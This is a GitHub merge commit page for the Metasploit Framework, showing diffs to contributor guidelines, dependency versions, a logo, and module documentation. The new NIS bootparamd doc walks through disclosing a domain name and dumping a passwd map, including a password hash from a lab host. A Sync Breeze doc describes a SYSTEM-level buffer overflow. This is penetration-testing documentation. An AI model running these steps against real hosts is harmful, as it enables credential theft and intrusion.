Skip to content

Commit ff9c69c

Browse files
jbarnett-r7jbarnett-r7
committed
Merge branch 'rapid7/master' into goliath
2 parents 764ecf6 + f355d10 commit ff9c69c

File tree

37 files changed

+1178
-312
lines changed

37 files changed

+1178
-312
lines changed

‎.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -93,3 +93,7 @@ docker-compose.local*
9393
# Ignore python bytecode
9494
*.pyc
9595
rspec.failures
96+
97+
98+
#Ignore any base disk store files
99+
db/modules_metadata_base.pstore

‎CONTRIBUTING.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -45,8 +45,8 @@ and Metasploit's [Common Coding Mistakes].
4545
* **Do** specify a descriptive title to make searching for your pull request easier.
4646
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
4747
* **Do** list [verification steps] so your code is testable.
48-
* **Do** [reference associated issues] in your pull request description
49-
* **Do** write [release notes] once a pull request is landed
48+
* **Do** [reference associated issues] in your pull request description.
49+
* **Do** write [release notes] once a pull request is landed.
5050
* **Don't** leave your pull request description blank.
5151
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
5252

@@ -58,8 +58,8 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
5858
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
5959
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
6060
* **Don't** include more than one module per pull request.
61-
* **Do** include instructions on how to setup the vulnerable environment or software
62-
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
61+
* **Do** include instructions on how to setup the vulnerable environment or software.
62+
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
6363

6464

6565

‎CURRENT.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
Active Metasploit 5 development will sometimes push aggressive changes.
2+
Integrations with 3rd-party tools, as well as general usage, may change quickly
3+
from day to day. Some of the steps for dealing with major changes will be
4+
documented here. We will continue to maintain the Metasploit 4.x branch until
5+
Metasploit 5.0 is released.
6+
7+
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
8+
9+
Metasploit no longer stores module metadata in a PostgreSQL database, instead
10+
storing it in a cache file in your local ~/.msf4 config directory. This has a
11+
number of advantages:
12+
13+
* Fast searches whether you have the database enabled or not (no more slow search mode)
14+
* Faster load time for msfconsole, the cache loads more quickly
15+
* Private module data is not uploaded to a shared database, no collisions
16+
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
17+
* Reduced memory consumption
18+
19+
Code that reads directly from the Metasploit database for module data will need
20+
to use the new module search API.

‎Gemfile.lock

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.16.32)
4+
metasploit-framework (5.0.0)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -18,7 +18,7 @@ PATH
1818
metasploit-concern
1919
metasploit-credential
2020
metasploit-model
21-
metasploit-payloads (= 1.3.23)
21+
metasploit-payloads (= 1.3.25)
2222
metasploit_data_models
2323
metasploit_payloads-mettle (= 0.3.3)
2424
mqtt
@@ -183,14 +183,14 @@ GEM
183183
activemodel (~> 4.2.6)
184184
activesupport (~> 4.2.6)
185185
railties (~> 4.2.6)
186-
metasploit-payloads (1.3.23)
187-
metasploit_data_models (2.0.15)
186+
metasploit-payloads (1.3.25)
187+
metasploit_data_models (2.0.16)
188188
activerecord (~> 4.2.6)
189189
activesupport (~> 4.2.6)
190190
arel-helpers
191191
metasploit-concern
192192
metasploit-model
193-
pg
193+
pg (= 0.20.0)
194194
postgres_ext
195195
railties (~> 4.2.6)
196196
recog (~> 2.0)
@@ -205,7 +205,7 @@ GEM
205205
nessus_rest (0.1.6)
206206
net-ssh (4.2.0)
207207
network_interface (0.0.2)
208-
nexpose (7.1.1)
208+
nexpose (7.2.0)
209209
nokogiri (1.8.1)
210210
mini_portile2 (~> 2.3.0)
211211
octokit (4.8.0)

‎data/logos/under-construction-v5.txt

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
%clr%red .;lxO0KXXXK0Oxl:.
2+
,o0WMMMMMMMMMMMMMMMMMMKd,
3+
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
4+
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
5+
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
6+
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
7+
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
8+
oMMMMMMMMMMx. dMMMMMMMMMMx
9+
.WMMMMMMMMM: :MMMMMMMMMM,
10+
xMMMMMMMMMo lMMMMMMMMMO
11+
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
12+
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
13+
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
14+
xMMMMMMMMMd ,0MMMMMMMMMMK;
15+
.WMMMMMMMMMc 'OMMMMMM0,
16+
lMMMMMMMMMMk. .kMMO'
17+
dMMMMMMMMMMWd' ..
18+
cWMMMMMMMMMMMNxc'.%clr%whi ##########%clr
19+
%red .0MMMMMMMMMMMMMMMMWc%clr%whi #+# #+#%clr
20+
%red ;0MMMMMMMMMMMMMMMo.%clr%whi +:+%clr
21+
%red .dNMMMMMMMMMMMMo%clr +%whi#+%clr+:++#+
22+
%red 'oOWMMMMMMMMo%clr +:+
23+
%red .,cdkO0K;%clr :+: :+:
24+
:::::::+:
25+
%whiMetasploit%clr %yelUnder Construction%clr

‎db/modules_metadata_base.pstore

2.79 MB
Binary file not shown.

‎documentation/modules/auxiliary/gather/nis_bootparamd_domain.md

Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
## Intro
2+
3+
From the `bootparamd(8)` man page:
4+
5+
> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
6+
7+
The module documented within will allow a tester to disclose the NIS
8+
domain name from a server running `bootparamd`. After knowing the domain
9+
name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
10+
dump a map from a compatible NIS server (running as `ypserv`).
11+
12+
## Setup
13+
14+
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
15+
If the link is down, you can find it via the Wayback Machine.
16+
17+
After that is done, install `bootparamd` however your OS provides it.
18+
19+
Make sure you add a client to the `bootparams` file, which is usually at
20+
`/etc/bootparams`.
21+
22+
Here is an example `bootparams` file (courtesy of
23+
[@bcoles](https://github.com/bcoles)):
24+
25+
```
26+
clientname root=nfsserver:/export/clientname/root
27+
```
28+
29+
You can read the `bootparams(5)` man page for more info.
30+
31+
Lastly, the client should be added to `/etc/hosts` if it isn't already
32+
resolvable.
33+
34+
## Options
35+
36+
**PROTOCOL**
37+
38+
Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
39+
40+
**CLIENT**
41+
42+
Set this to the address of a client in the target's `bootparams` file.
43+
Usually this is a host within the same network range as the target.
44+
45+
**XDRTimeout**
46+
47+
Set this to the timeout in seconds for XDR decoding of the response.
48+
49+
## Usage
50+
51+
```
52+
msf > use auxiliary/gather/nis_bootparamd_domain
53+
msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
54+
rhost => 192.168.33.10
55+
msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
56+
client => 192.168.33.10
57+
msf auxiliary(gather/nis_bootparamd_domain) > run
58+
59+
[+] 192.168.33.10:111 - NIS domain name for host ubuntu-xenial (192.168.33.10) is gesellschaft
60+
[*] Auxiliary module execution completed
61+
msf auxiliary(gather/nis_bootparamd_domain) >
62+
```
63+
64+
After disclosing the domain name, you can use
65+
`auxiliary/gather/nis_ypserv_map` to dump a map from a compatible NIS
66+
server.
67+
68+
```
69+
msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
70+
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
71+
rhost => 192.168.33.10
72+
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
73+
domain => gesellschaft
74+
msf auxiliary(gather/nis_ypserv_map) > run
75+
76+
[+] 192.168.33.10:111 - Dumping map passwd.byname on domain gesellschaft:
77+
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
78+
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
79+
games:*:5:60:games:/usr/games:/usr/sbin/nologin
80+
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
81+
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
82+
sys:*:3:3:sys:/dev:/usr/sbin/nologin
83+
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
84+
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
85+
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
86+
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
87+
bin:*:2:2:bin:/bin:/usr/sbin/nologin
88+
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
89+
sync:*:4:65534:sync:/bin:/bin/sync
90+
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
91+
uuidd:*:108:112::/run/uuidd:/bin/false
92+
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
93+
root:*:0:0:root:/root:/bin/bash
94+
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
95+
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
96+
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
97+
messagebus:*:107:111::/var/run/dbus:/bin/false
98+
_apt:*:105:65534::/nonexistent:/bin/false
99+
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
100+
syslog:*:104:108::/home/syslog:/bin/false
101+
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
102+
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
103+
pollinate:*:111:1::/var/cache/pollinate:/bin/false
104+
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
105+
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
106+
lxd:*:106:65534::/var/lib/lxd/:/bin/false
107+
108+
[*] Auxiliary module execution completed
109+
msf auxiliary(gather/nis_ypserv_map) >
110+
```

‎documentation/modules/exploit/windows/http/syncbreeze_bof.md

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,17 @@
11
## Vulnerable Application
22

3-
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
3+
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28, v10.0.28, and v10.1.16
4+
are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker
5+
to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities
6+
are caused by improper bounds checking of the request path in HTTP GET requests and username value
7+
via HTTP POST requests sent to the built-in web server, respectively.
8+
9+
This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available
10+
for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe)
11+
and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
412

513
## Verification Steps
14+
615
1. Install a vulnerable Sync Breeze Enterprise
716
2. Start `Sync Breeze Enterprise` service
817
3. Start `Sync Breeze Enterprise` client application

0 commit comments

Comments
 (0)